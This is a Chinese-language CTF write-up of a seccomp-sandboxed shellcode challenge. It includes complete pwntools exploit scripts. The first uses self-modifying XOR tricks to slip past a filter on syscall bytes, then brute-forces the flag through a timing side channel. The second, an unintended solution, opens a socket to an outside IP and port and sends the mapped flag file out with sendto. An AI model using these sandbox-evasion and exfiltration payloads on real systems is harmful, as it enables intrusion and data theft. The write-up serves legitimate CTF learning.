前言
最近到处找好玩的题目玩,偶然间就看到了这样一个打侧信道爆破的题目(
原本以为这个题目实际上就只考察了一个侧信道爆破,但仔细一看并不是这样的
闲话少说,正片开始(
题目分析
保护除canary全开


刚开始mmap了一个 rwxp 的,0x1000大小的内存
通过gdb也能看到确实是rwxp的

后面的逻辑也很清晰,一个函数,一个沙箱
首先看函数,这个函数

看了会,能够看出来ban了 \x0f\x05 和 \xcd\x80 两个组合
我们看disasm可以知道ban的是 syscall和 int 0x80
print(disasm(b'\x0f\x05'))print(disasm(b'\xCD\x80'))->""" 0: 0f 05 syscall 0: cd 80 int 0x80"""这个说实话刚开始以我的想法是构造一个test … jz来跳过,但是想想发现是自己铸币了,明明可以通过动态修改代码的方式对其进行加密解密的。
在这一题里,官方是这么写的:
mov r12, 0x345mov r11, 0x64axor r12, r11 ; 0x345^0x64a = 0x50f -> \x05\x0fmovabs rcx, 0xdeadb0bb ; 这里是地址xor QWORD PTR [rcx], r12add BYTE PTR [rax], al ; 这个的字节码是 00 00,与 \x05\x0f 异或变为 syscall于是我就开心的直接拿这个用了( 原本自己还想着写个loop异或的
之后是沙箱

ban了read、readv、write、writev、sendfile、execve、execveat (这里就有伏笔了)
显然官方是想要把你的直接输出flag的路全部堵死,让你去写一个侧信道爆破的。
正常解法
根据上面的解析,我们不难得到一条利用链,也是比平常稍微难一点的一条打侧信道爆破的链子
open 载入flag文件 -> mmap将flag文件映射到一块内存区域 -> 侧信道爆破检测flag是否正确
也就是这样的构造
payload = asm(""" /* open("flag", 'r')*/xor rdi, rdipush 0x67616c66mov rdi, rspmov rsi, 0x0mov rax, 0x2mov r8, 0x345mov r9, 0x64axor r8, r9movabs rcx, 0xdeadb000xor QWORD PTR [rcx+0x38], r8add BYTE PTR [rax], al /* mmap(0xdeadb200, 0x200, PROT_EXEC, MAP_PRIVATE, 3, 0) */movabs rdi, 0xdeadb200mov rsi, 0x200mov rdx, 0x1mov r10, 0x2mov r8, 0x3mov r9, 0x0
mov rax, 0x9mov r12, 0x345mov r11, 0x64axor r12, r11movabs rcx, 0xdeadb08cxor QWORD PTR [rcx], r12add BYTE PTR [rax], al
""")
shellcode = """mov bl, byte ptr [rax+{}]cmp bl,{}jz $-0x3"""从而也就能够写出这样的wp 我没有打VCTF,因而没有打线上,轻喷
from pwn import *
charset = "etaoinshrdlcumwfgypbvkjqzx3740152689{_}"list = [ord(x) for x in charset]
index = 0flag = ""
payload = asm(""" /* open("flag", 'r')*/xor rdi, rdipush 0x67616c66mov rdi, rspmov rsi, 0x0mov rax, 0x2mov r8, 0x345mov r9, 0x64axor r8, r9movabs rcx, 0xdeadb000xor QWORD PTR [rcx+0x38], r8add BYTE PTR [rax], al /* mmap(0xdeadb200, 0x200, PROT_EXEC, MAP_PRIVATE, 3, 0) */movabs rdi, 0xdeadb200mov rsi, 0x200mov rdx, 0x1mov r10, 0x2mov r8, 0x3mov r9, 0x0
mov rax, 0x9mov r12, 0x345mov r11, 0x64axor r12, r11movabs rcx, 0xdeadb08cxor QWORD PTR [rcx], r12add BYTE PTR [rax], al""")shellcode = """mov bl, byte ptr [rax+{}]cmp bl,{}jz $-0x3"""
context.log_level = "Info"while True: for i in range(len(charset)): try: io = process(file) rcu(b"ideas!") s(payload+asm(shellcode.format(index,list[i]))) chk1 = io.recv(timeout=0.1) chk2 = io.recv(timeout=0.5) print(chk2) if b'limit' in chk1: io.close() sleep(1) if chk2 == b'': flag+=chr(list[i]) index +=1 log("flag added 1 chars") log(f"flag: {str(flag)}") break except: log(f"Tried {i+1}/{len(charset)}") # log(f"flag: {str(flag)}") finally: io.close() if "}" in flag: log(f"Final Flag {flag}") io.close() exit(0)之后爆破依旧是十分的漫长的过程,这里就不做展示了
非预期解
终于到了我想说的环节了 (bushi
这个题目实际上我第一眼看过来以为是打tcp反弹shell的,但是execve、execveat和sendfile被ban了,所以大多数人都认为这个反弹shell是不行的
这里就有一个小bug了,出题人没有ban sendto。这里是可以直接mmap到特定的,与其不重合的地方,之后直接sendto出来的
在这期间,我还发现了 mmap 在创建映射时,如果创建的映射与现存的内存相重合时,会返回一个在libseccomp.so和ld.so.2之间的地址,如下
我一开始想做这个非预期解的时候,是将地址直接写成我之前写mmap到的地址,也就是 0xdeadb200。这就导致了实际上我并没有将真正的映射地址导入sendto,回显变成了这样
总之,这一条非预期解就是 open -> mmap -> socket -> connect -> sendto
这样只要几秒钟就能传回答案,十分的快速(

exp如下
#expimport osimport socketfrom pwn import *
# line CODE JT JF K# =================================# 0000: 0x20 0x00 0x00 0x00000004 A = arch# 0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014# 0002: 0x20 0x00 0x00 0x00000000 A = sys_number# 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005# 0004: 0x15 0x00 0x09 0xffffffff if (A != 0xffffffff) goto 0014# 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013# 0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013# 0007: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0013# 0008: 0x15 0x04 0x00 0x00000014 if (A == writev) goto 0013# 0009: 0x15 0x03 0x00 0x00000028 if (A == sendfile) goto 0013# 0010: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0013# 0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013# 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW# 0013: 0x06 0x00 0x00 0x00050000 return ERRNO(0)# 0014: 0x06 0x00 0x00 0x00000000 return KILL
file = os.path.realpath(b'./never')elf = ELF(file)io = process(file)context.binary = elfcontext.os = 'linux'def ip_to_hex(ip): packed = socket.inet_aton(ip) # 4 bytes, big-endian be = int.from_bytes(packed, 'big') le = int.from_bytes(packed, 'little') return be, le, packed
def port_to_hex(port): be = port.to_bytes(2, 'big') # network order le = port.to_bytes(2, 'little') # memory little-endian return be, leip = "192.168.10.239"port = 1337
ip = ip_to_hex(ip)[1]port = port_to_hex(port)[1]
payload = f"""/* open("flag", 'r')*/xor rdi, rdipush 0x67616c66mov rdi, rspmov rsi, 0x0mov rax, 0x2mov r8, 0x345mov r9, 0x64axor r8, r9movabs rcx, 0xdeadb000xor QWORD PTR [rcx+0x38], r8add BYTE PTR [rax], al
/* mmap(0xdeadb200, 0x200, PROT_EXEC, MAP_PRIVATE, 3, 0) */movabs rdi, 0xdeadb200mov rsi, 0x200mov rdx, 0x1mov r10, 0x2mov r8, 0x3mov r9, 0x0mov rax, 0x9mov r12, 0x345mov r11, 0x64axor r12, r11movabs rcx, 0xdeadb08cxor QWORD PTR [rcx], r12add BYTE PTR [rax], almov r13, rax/* socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */push 0x2pop rdipush 0x1pop rsipush 0x6pop rdxpush 0x29pop rax /* syscall 41 = socket */mov r12, 0x345mov r11, 0x64axor r12, r11movabs rcx, 0xdeadb0bbxor QWORD PTR [rcx], r12add BYTE PTR [rax], almov r8, rax
/* connect to ip:port */xor r10, r10push r10push r10mov BYTE PTR [rsp], 0x2mov WORD PTR [rsp+0x2], 0x{port.hex()}mov DWORD PTR [rsp+0x4], {hex(ip)}mov rsi, rsppush r8pop rdi /* sockfd */push 0x10pop rdx /* sizeof(sockaddr) */push SYS_connect /* 0x31 */pop rax; /* syscall 49 = connect */
mov r12, 0x345mov r11, 0x64axor r12, r11movabs rcx, 0xdeadb104xor QWORD PTR [rcx], r12add BYTE PTR [rax], al
/* send */mov rdi, r8 /* sockfd */mov rsi, r13 /* buf */mov rdx, 0x100 /* len */xor r10, r10 /* flags */xor r9, r9 /* addr */xor r8, r8 /* addrlen */push SYS_sendtopop rax
mov r12, 0x345mov r11, 0x64axor r12, r11movabs rcx, 0xdeadb13dxor QWORD PTR [rcx], r12add BYTE PTR [rax], al"""
payload = asm(payload)success(f"payload length: {len(payload)}")io.sendline(payload)io.interactive()部分信息可能已经过时

